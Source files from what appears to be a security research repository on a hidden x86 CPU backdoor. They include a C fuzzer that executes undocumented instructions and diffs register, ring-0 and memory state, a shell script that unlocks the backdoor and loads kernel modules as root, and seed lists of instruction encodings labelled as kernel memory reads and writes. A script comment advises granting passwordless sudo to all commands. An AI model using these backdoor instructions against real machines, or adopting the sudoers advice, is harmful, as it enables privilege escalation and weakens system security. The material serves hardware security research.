state->eax=0;
state->ebx=0;
state->ecx=0;
state->edx=0;
state->esi=0;
state->edi=0;
state->ebp=0;
state->esp=0;
state->mm0=0;
state->mm1=0;
state->mm2=0;
state->mm3=0;
state->mm4=0;
state->mm5=0;
state->mm6=0;
state->mm7=0;
close(handle);
break;
#endif
case STATE_PATTERN:
state->eax=0x00000000;
state->ebx=0x11111111;
state->ecx=0x22222222;
state->edx=0x33333333;
state->esi=0x44444444;
state->edi=0x55555555;
state->ebp=0x66666666;
state->esp=0x77777777;
state->mm0=0x8888888888888888ull;
state->mm1=0x9999999999999999ull;
state->mm2=0xaaaaaaaaaaaaaaaaull;
state->mm3=0xbbbbbbbbbbbbbbbbull;
state->mm4=0xccccccccccccccccull;
state->mm5=0xddddddddddddddddull;
state->mm6=0xeeeeeeeeeeeeeeeeull;
state->mm7=0xffffffffffffffffull;
break;
default:
assert(0);
}
switch (mem_init) {
case MEMORY_NOCHANGE:
break;
case MEMORY_PATTERN:
for (i=0; i<BUFFER_BYTES; i++) {
mem->data[i]=0x11*(i%16);
}
break;
case MEMORY_RANDOM:
for (i=0; i<BUFFER_BYTES; i++) {
mem->data[i]=rand();
}
break;
#if USE_SEARCH_KERNEL
case MEMORY_KERNEL:
/* nothing to initialize */
break;
#endif
default:
assert(0);
}
}
#if TRACK_RING_0
void load_ring_0_state(state_t* state)
{
int handle;
privregs_req_t req;
handle=open("/dev/privregs", O_RDWR);
req=(privregs_req_t){0, 0};
ioctl(handle, READ_DR, &req);
state->dr0=req.val;
req=(privregs_req_t){1, 0};
ioctl(handle, READ_DR, &req);
state->dr1=req.val;
req=(privregs_req_t){2, 0};
ioctl(handle, READ_DR, &req);
state->dr2=req.val;
req=(privregs_req_t){3, 0};
ioctl(handle, READ_DR, &req);
state->dr3=req.val;
req=(privregs_req_t){4, 0};
ioctl(handle, READ_DR, &req);
state->dr4=req.val;
req=(privregs_req_t){5, 0};
ioctl(handle, READ_DR, &req);
state->dr5=req.val;
req=(privregs_req_t){6, 0};
ioctl(handle, READ_DR, &req);
state->dr6=req.val;
req=(privregs_req_t){7, 0};
ioctl(handle, READ_DR, &req);
state->dr7=req.val;
req=(privregs_req_t){0, 0};
ioctl(handle, READ_CR, &req);
state->cr0=req.val;
req=(privregs_req_t){2, 0};
ioctl(handle, READ_CR, &req);
state->cr2=req.val;
req=(privregs_req_t){3, 0};
ioctl(handle, READ_CR, &req);
state->cr3=req.val;
req=(privregs_req_t){4, 0};
ioctl(handle, READ_CR, &req);
state->cr4=req.val;
close(handle);
}
#endif
unsigned long long llrand(void)
{
int i;
unsigned long long r=0;
for (i=0; i<5; ++i) {
r = (r<<15)|(rand()&0x7FFF);
}
return r&0xFFFFFFFFFFFFFFFFULL;
}
void print_binary(uint32_t x)
{
int i;
for (i=0; i<32; i++) {
if (i && i%4==0) {
printf(" ");
}
printf("%d", x>>31);
x<<=1;
}
}
void print_instruction(instruction_t* ins)
{
printf("L(%08x)", ins->deis);
printf(" ");
printf("B(%08x)", BE(ins->deis));
printf(" ");
printf("L(");
print_binary(ins->deis);
printf(")");
printf(" ");
printf("B(");
print_binary(BE(ins->deis));
printf(")");
printf("\n");
fflush(stdout);
}
void print_gpr_state_headers(void)
{
printf("%-8s %-8s %-8s %-8s %-8s %-8s %-8s %-8s\n",
"eax", "ebx", "ecx", "edx", "esi", "edi", "ebp", "esp");
}
void print_mmx_0_3_state_headers(void)
{
printf("%-18s %-18s %-18s %-18s\n",
"mm0", "mm1", "mm2", "mm3");
}
void print_mmx_4_7_state_headers(void)
{
printf("%-18s %-18s %-18s %-18s\n",
"mm4", "mm5", "mm6", "mm7");
}
void print_gpr_state(state_t* state)
{
printf("%08x ", state->eax);
printf("%08x ", state->ebx);
printf("%08x ", state->ecx);
printf("%08x ", state->edx);
printf("%08x ", state->esi);
printf("%08x ", state->edi);
printf("%08x ", state->ebp);
printf("%08x ", state->esp);
printf("\n");
}
void print_byte_diff(uint8_t* x, uint8_t* y, int len, char* spacing_1, char* spacing_4)
{
int i;
for (i=0; i<len; i++) {
if (i&&i%4==0) {
printf("%s", spacing_4);
}
if (x[len-i-1]!=y[len-i-1]) {
printf("^^");
}
else {
printf(" ");
}
printf("%s", spacing_1);
}
if (i&&i%4==0) {
printf("%s", spacing_4);
}
}
void print_gpr_state_diff(state_t* state_1, state_t* state_2)
{
print_byte_diff((uint8_t*)&state_1->eax, (uint8_t*)&state_2->eax, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->ebx, (uint8_t*)&state_2->ebx, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->ecx, (uint8_t*)&state_2->ecx, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->edx, (uint8_t*)&state_2->edx, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->esi, (uint8_t*)&state_2->esi, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->edi, (uint8_t*)&state_2->edi, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->ebp, (uint8_t*)&state_2->ebp, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->esp, (uint8_t*)&state_2->esp, 4, "", " ");
printf("\n");
}
void print_mmx_0_3_state_diff(state_t* state_1, state_t* state_2)
{
print_byte_diff((uint8_t*)&state_1->mm0, (uint8_t*)&state_2->mm0, 8, "", " ");
print_byte_diff((uint8_t*)&state_1->mm1, (uint8_t*)&state_2->mm1, 8, "", " ");
print_byte_diff((uint8_t*)&state_1->mm2, (uint8_t*)&state_2->mm2, 8, "", " ");
print_byte_diff((uint8_t*)&state_1->mm3, (uint8_t*)&state_2->mm3, 8, "", " ");
printf("\n");
}
void print_mmx_4_7_state_diff(state_t* state_1, state_t* state_2)
{
print_byte_diff((uint8_t*)&state_1->mm4, (uint8_t*)&state_2->mm4, 8, "", " ");
print_byte_diff((uint8_t*)&state_1->mm5, (uint8_t*)&state_2->mm5, 8, "", " ");
print_byte_diff((uint8_t*)&state_1->mm6, (uint8_t*)&state_2->mm6, 8, "", " ");
print_byte_diff((uint8_t*)&state_1->mm7, (uint8_t*)&state_2->mm7, 8, "", " ");
printf("\n");
}
void print_mmx_0_3_state(state_t* state)
{
printf("%08x %08x ", state->mm0h, state->mm0l);
printf("%08x %08x ", state->mm1h, state->mm1l);
printf("%08x %08x ", state->mm2h, state->mm2l);
printf("%08x %08x ", state->mm3h, state->mm3l);
printf("\n");
}
void print_mmx_4_7_state(state_t* state)
{
printf("%08x %08x ", state->mm4h, state->mm4l);
printf("%08x %08x ", state->mm5h, state->mm5l);
printf("%08x %08x ", state->mm6h, state->mm6l);
printf("%08x %08x ", state->mm7h, state->mm7l);
printf("\n");
}
void print_memory_headers(void)
{
int i;
for (i=0; i<sizeof(mem_t); i++) {
if (i>0 && i%4==0) {
printf(" ");
}
if (i%4==0) {
printf("%02x ", i);
}
else {
printf(" ");
}
}
printf("\n");
}
void print_memory(mem_t* mem)
{
int i;
for (i=0; i<sizeof(mem_t); i++) {
if (i>0 && i%4==0) {
printf(" ");
}
printf("%02x ", mem->data[i]);
}
printf("\n");
}
void print_memory_diff_summary(mem_t* mem_1, mem_t* mem_2)
{
int i;
for (i=0; i<sizeof(mem_t); i++) {
if (i>0 && i%4==0) {
printf(" ");
}
if (mem_1->data[i]!=mem_2->data[i]) {
printf("^^ ");
}
else {
printf(" ");
}
}
printf("\n");
}
bool states_equal(state_t* state_1, state_t* state_2)
{
return
state_1->eax==state_2->eax &&
state_1->ebx==state_2->ebx &&
state_1->ecx==state_2->ecx &&
state_1->edx==state_2->edx &&
state_1->esi==state_2->esi &&
state_1->edi==state_2->edi &&
state_1->ebp==state_2->ebp &&
state_1->esp==state_2->esp &&
state_1->mm0==state_2->mm0 &&
state_1->mm1==state_2->mm1 &&
state_1->mm2==state_2->mm2 &&
state_1->mm3==state_2->mm3 &&
state_1->mm4==state_2->mm4 &&
state_1->mm5==state_2->mm5 &&
state_1->mm6==state_2->mm6 &&
state_1->mm7==state_2->mm7
#if TRACK_RING_0
&&
(state_1->cr0&~CR0_IGNORE_BITS)==(state_2->cr0&~CR0_IGNORE_BITS) &&
state_1->cr2==state_2->cr2 &&
state_1->cr3==state_2->cr3 &&
state_1->cr4==state_2->cr4 &&
state_1->dr0==state_2->dr0 &&
state_1->dr1==state_2->dr1 &&
state_1->dr2==state_2->dr2 &&
state_1->dr3==state_2->dr3 &&
state_1->dr4==state_2->dr4 &&
state_1->dr5==state_2->dr5 &&
state_1->dr6==state_2->dr6 &&
state_1->dr7==state_2->dr7
#endif
;
}
bool memory_equal(mem_t* mem_1, mem_t* mem_2)
{
return (memcmp(mem_1,mem_2,sizeof(mem_t))==0);
}
void inject(void)
{
#if USE_SEARCH_KERNEL
int handle;
handle=open("/dev/deis_kernel", O_RDWR);
ioctl(handle, READ_BUFFER, &input_mem.data);
close(handle);
#endif
#if TRACK_RING_0
load_ring_0_state(&input_state);
#endif
__asm__ __volatile__ ("\
pushfl \n\
popl %[input_eflags] \n\
"
: [input_eflags]"=m"(input_state.eflags)
:
);
__asm__ __volatile__ ("\
movl %%eax, %[working_eax] \n\
movl %%ebx, %[working_ebx] \n\
movl %%ecx, %[working_ecx] \n\
movl %%edx, %[working_edx] \n\
movl %%esi, %[working_esi] \n\
movl %%edi, %[working_edi] \n\
movl %%ebp, %[working_ebp] \n\
movl %%esp, %[working_esp] \n\
"
: /* set to input registers to work around gcc error */
/*
[working_eax]"+m"(working_state.eax),
[working_ebx]"+m"(working_state.ebx),
[working_ecx]"+m"(working_state.ecx),
[working_edx]"+m"(working_state.edx),
[working_esi]"+m"(working_state.esi),
[working_edi]"+m"(working_state.edi),
[working_ebp]"+m"(working_state.ebp),
[working_esp]"+m"(working_state.esp)
*/
: [working_eax]"m"(working_state.eax),
[working_ebx]"m"(working_state.ebx),
[working_ecx]"m"(working_state.ecx),
[working_edx]"m"(working_state.edx),
[working_esi]"m"(working_state.esi),
[working_edi]"m"(working_state.edi),
[working_ebp]"m"(working_state.ebp),
[working_esp]"m"(working_state.esp)
);
__asm__ __volatile__ ("\
movq %%mm0, %[working_mm0] \n\
movq %%mm1, %[working_mm1] \n\
movq %%mm2, %[working_mm2] \n\
movq %%mm3, %[working_mm3] \n\
movq %%mm4, %[working_mm4] \n\
movq %%mm5, %[working_mm5] \n\
movq %%mm6, %[working_mm6] \n\
movq %%mm7, %[working_mm7] \n\
"
: /* set to input registers to work around gcc error */
: [working_mm0]"m"(working_state.mm0),
[working_mm1]"m"(working_state.mm1),
[working_mm2]"m"(working_state.mm2),
[working_mm3]"m"(working_state.mm3),
[working_mm4]"m"(working_state.mm4),
[working_mm5]"m"(working_state.mm5),
[working_mm6]"m"(working_state.mm6),
[working_mm7]"m"(working_state.mm7)
);
__asm__ __volatile__ ("\
movq %[input_mm0], %%mm0 \n\
movq %[input_mm1], %%mm1 \n\
movq %[input_mm2], %%mm2 \n\
movq %[input_mm3], %%mm3 \n\
movq %[input_mm4], %%mm4 \n\
movq %[input_mm5], %%mm5 \n\
movq %[input_mm6], %%mm6 \n\
movq %[input_mm7], %%mm7 \n\
"
:
: [input_mm0]"m"(input_state.mm0),
[input_mm1]"m"(input_state.mm1),
[input_mm2]"m"(input_state.mm2),
[input_mm3]"m"(input_state.mm3),
[input_mm4]"m"(input_state.mm4),
[input_mm5]"m"(input_state.mm5),
[input_mm6]"m"(input_state.mm6),
[input_mm7]"m"(input_state.mm7)
);
__asm__ __volatile__ ("\
movl %[input_eax], %%eax \n\
movl %[input_ebx], %%ebx \n\
movl %[input_ecx], %%ecx \n\
movl %[input_edx], %%edx \n\
movl %[input_esi], %%esi \n\
movl %[input_edi], %%edi \n\
movl %[input_ebp], %%ebp \n\
movl %[input_esp], %%esp \n\
debug: \n\
"
#if !SIMULATE
"\
.byte 0x0f, 0x3f \n\
"
#else
"\
movl $0xdeadbeef, (%%edx) \n\
movw $0x1337, %%cx \n\
movq (_bridge), %%mm0 \n\
"
#endif
"\
_bridge: \n\
.space 0x1000, 0x90 \n\
\n\
movl %%eax, %[output_eax] \n\
movl %%ebx, %[output_ebx] \n\
movl %%ecx, %[output_ecx] \n\
movl %%edx, %[output_edx] \n\
movl %%esi, %[output_esi] \n\
movl %%edi, %[output_edi] \n\
movl %%ebp, %[output_ebp] \n\
movl %%esp, %[output_esp] \n\
\n\
"
: /* set as input registers to work around gcc error */
/*
[output_eax]"+m"(output_state.eax),
[output_ebx]"+m"(output_state.ebx),
[output_ecx]"+m"(output_state.ecx),
[output_edx]"+m"(output_state.edx),
[output_esi]"+m"(output_state.esi),
[output_edi]"+m"(output_state.edi),
[output_ebp]"+m"(output_state.ebp),
[output_esp]"+m"(output_state.esp)
*/
: [output_eax]"m"(output_state.eax),
[output_ebx]"m"(output_state.ebx),
[output_ecx]"m"(output_state.ecx),
[output_edx]"m"(output_state.edx),
[output_esi]"m"(output_state.esi),
[output_edi]"m"(output_state.edi),
[output_ebp]"m"(output_state.ebp),
[output_esp]"m"(output_state.esp),
[input_eax]"m"(input_state.eax),
[input_ebx]"m"(input_state.ebx),
[input_ecx]"m"(input_state.ecx),
[input_edx]"m"(input_state.edx),
[input_esi]"m"(input_state.esi),
[input_edi]"m"(input_state.edi),
[input_ebp]"m"(input_state.ebp),
[input_esp]"m"(input_state.esp)
);
__asm__ __volatile__ ("\
movq %%mm0, %[output_mm0] \n\
movq %%mm1, %[output_mm1] \n\
movq %%mm2, %[output_mm2] \n\
movq %%mm3, %[output_mm3] \n\
movq %%mm4, %[output_mm4] \n\
movq %%mm5, %[output_mm5] \n\
movq %%mm6, %[output_mm6] \n\
movq %%mm7, %[output_mm7] \n\
"
: /* set to input registers to work around gcc error */
: [output_mm0]"m"(output_state.mm0),
[output_mm1]"m"(output_state.mm1),
[output_mm2]"m"(output_state.mm2),
[output_mm3]"m"(output_state.mm3),
[output_mm4]"m"(output_state.mm4),
[output_mm5]"m"(output_state.mm5),
[output_mm6]"m"(output_state.mm6),
[output_mm7]"m"(output_state.mm7)
);
__asm__ __volatile__ ("\
movl %[working_eax], %%eax \n\
movl %[working_ebx], %%ebx \n\
movl %[working_ecx], %%ecx \n\
movl %[working_edx], %%edx \n\
movl %[working_esi], %%esi \n\
movl %[working_edi], %%edi \n\
movl %[working_ebp], %%ebp \n\
movl %[working_esp], %%esp \n\
"
:
: [working_eax]"m"(working_state.eax),
[working_ebx]"m"(working_state.ebx),
[working_ecx]"m"(working_state.ecx),
[working_edx]"m"(working_state.edx),
[working_esi]"m"(working_state.esi),
[working_edi]"m"(working_state.edi),
[working_ebp]"m"(working_state.ebp),
[working_esp]"m"(working_state.esp)
);
__asm__ __volatile__ ("\
movq %[working_mm0], %%mm0 \n\
movq %[working_mm1], %%mm1 \n\
movq %[working_mm2], %%mm2 \n\
movq %[working_mm3], %%mm3 \n\
movq %[working_mm4], %%mm4 \n\
movq %[working_mm5], %%mm5 \n\
movq %[working_mm6], %%mm6 \n\
movq %[working_mm7], %%mm7 \n\
"
:
: [working_mm0]"m"(working_state.mm0),
[working_mm1]"m"(working_state.mm1),
[working_mm2]"m"(working_state.mm2),
[working_mm3]"m"(working_state.mm3),
[working_mm4]"m"(working_state.mm4),
[working_mm5]"m"(working_state.mm5),
[working_mm6]"m"(working_state.mm6),
[working_mm7]"m"(working_state.mm7)
);
__asm__ __volatile__ ("\
pushfl \n\
popl %[output_eflags] \n\
"
: [output_eflags]"=m"(output_state.eflags)
:
);
#if TRACK_RING_0
load_ring_0_state(&output_state);
#endif
#if USE_SEARCH_KERNEL
handle=open("/dev/deis_kernel", O_RDWR);
ioctl(handle, READ_BUFFER, &output_mem.data);
close(handle);
#endif
}
float frand(void)
{
return ((float)(rand()%RAND_MAX))/(RAND_MAX-1);
}
void generate_seeded_list(void)
{
int i;
generated_seeded_ins=0;
for (
i=0;
i<sizeof seed_ins_source/sizeof *seed_ins_source && i<MAX_SEED_INS;
i++
) {
int k;
for (k=0; k<SEEDS_PER_INSN; k++) {
uint32_t ins=seed_ins_source[i];
int j;
float p=1;
for (j=0; j<SEED_BITS; j++) {
if (frand()<p) {
unsigned int b;
do {
b=rand()%32;
} while (!((1<<b)&SEED_MASK));
ins^=(1<<b);
}
p/=2;
}
seed_ins[generated_seeded_ins]=ins;
/* printf("%08x\n", ins); */
generated_seeded_ins++;
}
}
}
uint32_t get_seeded(void)
{
return seed_ins[llrand()%generated_seeded_ins];
}
void configure(
instruction_mode_t mode,
search_t search,
run_t run,
instruction_t* ins,
state_t* input_state,
state_t* output_state,
mem_t* input_mem,
mem_t* output_mem
)
{
state_init_t run_0_state_init;
#if USE_SEARCH_KERNEL
int handle;
handle=open("/dev/deis_kernel", O_RDWR);
ioctl(handle, RESET_BUFFER, NULL);
close(handle);
#endif
if (search==SEARCH_STATE) {
run_0_state_init=STATE_RANDOM;
}
else if (search==SEARCH_MEMORY) {
run_0_state_init=STATE_MEMORY;
}
#if USE_SEARCH_KERNEL
else if (search==SEARCH_KERNEL) {
run_0_state_init=STATE_KERNEL;
}
#endif
else {
assert (0);
}
if (run==RUN_0) {
/* first run */
if (mode==INSTRUCTION_MODE_RANDOM) {
ins->deis=llrand();
}
else if (mode==INSTRUCTION_MODE_SEED) {
ins->deis=get_seeded();
}
else {
assert (0);
}
initialize_state(
input_state,
run_0_state_init,
output_mem, /* memory_init will make pointers to this
buffer */
#if USE_SEARCH_KERNEL
search==SEARCH_KERNEL?MEMORY_KERNEL:MEMORY_PATTERN
#else
MEMORY_PATTERN
#endif
);
//TODO: maybe this is more cleanly put in inject, where the register
//state is recorded
*input_mem=*output_mem; /* record initial state */
}
else if (run==RUN_1) {
/* second run */
/* repeat previous run */
*output_mem=*input_mem; /* reset target memory */
}
else if (run==RUN_2) {
/* third run */
/* run on a different randomized state */
initialize_state(
input_state,
STATE_RANDOM,
output_mem,
MEMORY_NOCHANGE
);
*output_mem=*input_mem; /* reset target memory */
}
else if (run==RUN_3) {
/* fourth run */
/* run on a patterned register state */
initialize_state(
input_state,
STATE_PATTERN,
output_mem,
MEMORY_NOCHANGE
);
*output_mem=*input_mem; /* reset target memory */
}
else {
assert(0);
}
}
void print_memory_diff(mem_t* input, mem_t* output)
{
printf(KEY_MARKER);
printf(" ");
print_memory_headers();
printf(KEY_MARKER);
printf("inject: ");
print_memory(&input_mem);
printf(KEY_MARKER);
printf("result: ");
print_memory(&output_mem);
printf(KEY_MARKER);
printf(" ");
print_memory_diff_summary(input, output);
}
#if TRACK_RING_0
void print_dr_state_headers(void)
{
printf("%-8s %-8s %-8s %-8s %-8s %-8s %-8s %-8s\n",
"dr0", "dr1", "dr2", "dr3", "dr4", "dr5", "dr6", "dr7");
}
void print_dr_state(state_t* state)
{
printf("%08x ", state->dr0);
printf("%08x ", state->dr1);
printf("%08x ", state->dr2);
printf("%08x ", state->dr3);
printf("%08x ", state->dr4);
printf("%08x ", state->dr5);
printf("%08x ", state->dr6);
printf("%08x ", state->dr7);
printf("\n");
}
void print_dr_state_diff(state_t* state_1, state_t* state_2)
{
print_byte_diff((uint8_t*)&state_1->dr0, (uint8_t*)&state_2->dr0, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->dr1, (uint8_t*)&state_2->dr1, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->dr2, (uint8_t*)&state_2->dr2, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->dr3, (uint8_t*)&state_2->dr3, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->dr4, (uint8_t*)&state_2->dr4, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->dr5, (uint8_t*)&state_2->dr5, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->dr6, (uint8_t*)&state_2->dr6, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->dr7, (uint8_t*)&state_2->dr7, 4, "", " ");
printf("\n");
}
void print_cr_state_headers(void)
{
printf("%-8s %-8s %-8s %-8s %-8s %-8s %-8s %-8s\n",
"cr0", "", "cr2", "cr3", "cr4", "", "", "");
}
void print_cr_state(state_t* state)
{
printf("%08x ", state->cr0);
printf("%8s ", "");
printf("%08x ", state->cr2);
printf("%08x ", state->cr3);
printf("%08x ", state->cr4);
printf("%8s ", "");
printf("%8s ", "");
printf("%8s ", "");
printf("\n");
}
void print_cr_state_diff(state_t* state_1, state_t* state_2)
{
print_byte_diff((uint8_t*)&state_1->cr0, (uint8_t*)&state_2->cr0, 4, "", " ");
printf("%8s ", "");
print_byte_diff((uint8_t*)&state_1->cr2, (uint8_t*)&state_2->cr2, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->cr3, (uint8_t*)&state_2->cr3, 4, "", " ");
print_byte_diff((uint8_t*)&state_1->cr4, (uint8_t*)&state_2->cr4, 4, "", " ");
printf("%8s ", "");
printf("%8s ", "");
printf("%8s ", "");
printf("\n");
}
#endif
void print_state_diff(state_t* input, state_t* output)
{
printf(KEY_MARKER);
printf(" ");
print_gpr_state_headers();
printf(KEY_MARKER);
printf("inject: ");
print_gpr_state(input);
printf(KEY_MARKER);
printf("result: ");
print_gpr_state(output);
printf(KEY_MARKER);
printf(" ");
print_gpr_state_diff(input, output);
printf(KEY_MARKER);
printf(" ");
print_mmx_0_3_state_headers();
printf(KEY_MARKER);
printf("inject: ");
print_mmx_0_3_state(input);
printf(KEY_MARKER);
printf("result: ");
print_mmx_0_3_state(output);
printf(KEY_MARKER);
printf(" ");
print_mmx_0_3_state_diff(input, output);
printf(KEY_MARKER);
printf(" ");
print_mmx_4_7_state_headers();
printf(KEY_MARKER);
printf("inject: ");
print_mmx_4_7_state(input);
printf(KEY_MARKER);
printf("result: ");
print_mmx_4_7_state(output);
printf(KEY_MARKER);
printf(" ");
print_mmx_4_7_state_diff(input, output);
printf(KEY_MARKER);
printf(" %-8s\n", "eflags");
printf(KEY_MARKER);
printf("inject: %08x\n", input->eflags);
printf(KEY_MARKER);
printf("result: %08x\n", output->eflags);
printf(KEY_MARKER);
printf(" ");
print_byte_diff((uint8_t*)&input->eflags, (uint8_t*)&output->eflags, 4, "", " ");
printf("\n");
#if TRACK_RING_0
printf(KEY_MARKER);
printf(" ");
print_cr_state_headers();
printf(KEY_MARKER);
printf("inject: ");
print_cr_state(input);
printf(KEY_MARKER);
printf("result: ");
print_cr_state(output);
printf(KEY_MARKER);
printf(" ");
print_cr_state_diff(input, output);
printf(KEY_MARKER);
printf(" ");
print_dr_state_headers();
printf(KEY_MARKER);
printf("inject: ");
print_dr_state(input);
printf(KEY_MARKER);
printf("result: ");
print_dr_state(output);
printf(KEY_MARKER);
printf(" ");
print_dr_state_diff(input, output);
#endif
}
void fuzz(void)
{
extern instruction_t _bridge;
instruction_t* probe=&_bridge;
instruction_t ins;
run_t run;
#if !TARGET_KERNEL
search_t search=rand()%SEARCH_END;
#else
search_t search=SEARCH_KERNEL;
#endif
bool found_change;
ins.prefix[0]=0x62;
ins.prefix[1]=0x04;
ins.prefix[2]=0x05;
run=RUN_0;
while (1) {
(*run_tick)++;
printf(">" LINE_BREAK);
if (search==SEARCH_STATE) {
printf("(search state)\n");
}
else if (search==SEARCH_MEMORY) {
printf("(search memory)\n");
}
#if USE_SEARCH_KERNEL
else if (search==SEARCH_KERNEL) {
printf("(search kernel)\n");
}
#endif
else {
assert (0);
}
printf("(run %d)\n", run);
configure(
MODE,
search,
run,
&ins,
&input_state,
&output_state,
&input_mem,
&output_mem
);
input_state.eax=(uintptr_t)&_bridge;
#if !SIMULATE
*probe=ins;
#endif
printf(KEY_MARKER);
print_instruction(&ins);
printf("executing...\n");
fflush(stdout); /* always flush before running the deis */
inject();
printf("...done.\n");
(*result_tick)++;
found_change=false;
if (!memory_equal(&input_mem,&output_mem)||!states_equal(&input_state,&output_state)) {
found_change=true;
printf("\n");
print_memory_diff(&input_mem, &output_mem);
print_state_diff(&input_state,&output_state);
}
/* determine next run based on results */
if (found_change) {
run++;
if (run==RUN_END) {
/* move to next search strategy */
run=RUN_0;
search=(search+1)%SEARCH_END;
}
}
else {
/* no change detected */
if (run==RUN_0) {
/* no run started */
/* move to next search strategy */
search=(search+1)%SEARCH_END;
}
else {
/* run started, continue */
run++;
if (run==RUN_END) {
/* move to next search strategy */
run=RUN_0;
search=(search+1)%SEARCH_END;
}
}
}
printf("<" LINE_BREAK);
fflush(stdout);
usleep(FUZZ_DELAY);
}
}
int main(void)
{
int pid;
unsigned int seed;
int failed_runs=0;
run_tick=mmap(NULL, sizeof *run_tick, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
result_tick=mmap(NULL, sizeof *result_tick, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
*run_tick=0;
generate_seeded_list();
while (1) {
*result_tick=0;
pid=fork();
if (pid==0) {
seed=time(NULL)*(*run_tick+1);
srand(seed);
printf("fuzzing (seed: %08x)...\n", seed);
fuzz();
}
else {
/* parent */
uint64_t last_run_tick=-1;
while (1) {
usleep(RUN_TIMEOUT);
if (last_run_tick==*run_tick) {
printf("killing %d\n", pid);
fflush(stdout);
kill(pid, SIGKILL);
if (*result_tick==0) {
/* produced no result */
failed_runs++;
if (failed_runs>RESULT_TIMEOUT) {
/* sometimes system gets into state where the forked
* process _always_ fails. give up after n times;
* the controller will reset us when it sees we are
* no longer producing output */
printf("failed to execute %d times\n", failed_runs);
printf("quitting\n");
exit(-1);
}
}
else {
failed_runs=0;
}
break;
}
else {
last_run_tick=*run_tick;
}
}
}
}
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/deis/fuzz_deis.sh | Shell | #!/bin/bash
# assumes no password required for sudo
# (add 'username ALL=(ALL) NOPASSWD: ALL' to sudoers)
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
echo "== unlocking backdoor =="
sudo modprobe msr
sudo $DIR/../../lock/bin/unlock
echo "== loading privregs =="
sudo insmod $DIR/../../kern/privregs/privregs.ko
echo "== loading deis kernel =="
sudo insmod $DIR/../../kern/deis_kernel.ko
echo "== recording kernel log =="
sudo tail -f /var/log/kern.log &
echo "== launching deis =="
sudo $DIR/bin/fuzz_deis | grep --color -E '\^|$'
echo "== end launch deis =="
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/deis/seed_ins.h | C/C++ Header | /* kernel reads */
uint32_t seed_ins_source[]={
/* 4 byte */
0xc1f2adbd,
0xc291a469,
0xc291a46d,
0xc451b086,
0xc495874d,
0xc635b945,
0xc673b789,
0xc673b989,
0xc677a94d,
0xc677b94d,
0xc677b9c5,
0xc8538c8d,
};
/* not run */
#if 0
#endif
/* run */
#if 0
/* zero bytes */
uint32_t seed_ins_source[]={
0xc5e9a0d7,
0xc5caa8de,
0xc451b0c6,
0xc45190c6,
};
/* kernel reads */
uint32_t seed_ins_source[]={
/* 1 byte */
0x29b4fa1a,
0x2f535c47,
0x31118ba1,
0x3137b347,
0x3177f311,
0x31b20e73,
0x33d199a9,
0x33d52d94,
0x33d3d5b7,
0x82bba4e2,
0x871b8945,
0x8b330147,
0x8e8aa887,
0x8e8a8887,
0x8fd29b55,
0x8f24d36b,
0x92b7a4a8,
0xa18db253,
0xab169e41,
0xab77df0b,
0xac0db1bc,
0xac7e9948,
0xac7ea14a,
0xac9a9e85,
0xacfa83fe,
0xad97b502,
0xadbe8c8b,
0xadc9831e,
0xae979508,
0xaed1b681,
0xaed58ad7,
0xaedfba85,
0xaef79050,
0xaefeba89,
0xb0a0881d,
0xb16b81f6,
0xb16bb1f6,
0xb1b791e9,
0xb27aada9,
0xb36885f6,
0xc1f1ac03,
0xc411b82b,
0xc491a82b,
0xd407a107,
};
/* lgdt */
uint32_t seed_ins_source[]={
0xa313075b,
};
/* kernel writes */
uint32_t seed_ins_source[]={
/* 1 byte */
0x9a17953f,
0x9f95944c,
0xe091a46f,
0xe291a46f,
0xe2b7ad2f,
0xf1971c49,
0xf1f6fc2b,
0xf217ad6f,
0xf2b3a56f,
0xf2b70d6f,
0xf2b7ad0f,
0xf2b7ad6b,
0xf2b7ad6f,
0xf2b7cd6f,
0xf357b4bc,
0xf3b78d6f,
0xfc343c0a,
0xfc920c0e,
0xfc92a40c,
0xfcb26c0e,
/* 4 byte */
0xe091b46d,
0xe1f6b4ec,
0xe2118dfd,
0xe211a46d,
0xe2148cfd,
0xe2158d7d,
0xe2518dfd,
0xe2758dfd,
0xe291946d,
0xe293a46d,
0xe2d1ac6d,
0xe2d3ac6d,
0xe315adfd,
0xe3358dfd,
0xe391a46d,
0xe5f6b6ec,
0xe6d1b680,
0xfed394c8,
};
/* add, sub */
uint32_t seed_ins_source[]={
/* add */
0x8236a4e8,
0x82b6b0e8,
0x8a3651d0,
0x8a690bf0,
0x8a9d7308,
0x8a9df308,
0x8af76b08,
0x8afc5310,
0x8bf74d08,
/* sub */
0x80d2c5f2,
0x80d4c5f2,
0x8171b5ca,
0x8257010a,
0x82572d0a,
0x8277610a,
0x8277adca,
0x829f83ca,
0x82b85312,
0x82db83ca,
0x82f0d90a,
0x833135ca,
0x837115ca,
0x837135ca,
0x8371b5ca,
0x8a7923d2,
0x8a7973d2,
0x8a9d730a,
0x8ac193f2,
0x8ad85312,
0x8af81312,
0x8af95312,
0x8afc4312,
};
/* immediate load */
uint32_t seed_ins_source[]={
0xc270b389,
};
/* bitwise and, or */
uint32_t seed_ins_source[]={
/* and */
0x8b153514,
0x8b171d14,
0x8b370514,
0x8a171514,
/* or */
0x82f48314,
0x82d3e5d5,
0x82d541f5,
0x82f141f5,
};
/* shift instructions */
/*
uint32_t seed_ins_source[]={
0x802d0fe3,
0x80d6c7c2,
0x80d6cfe2,
0x8115afe3,
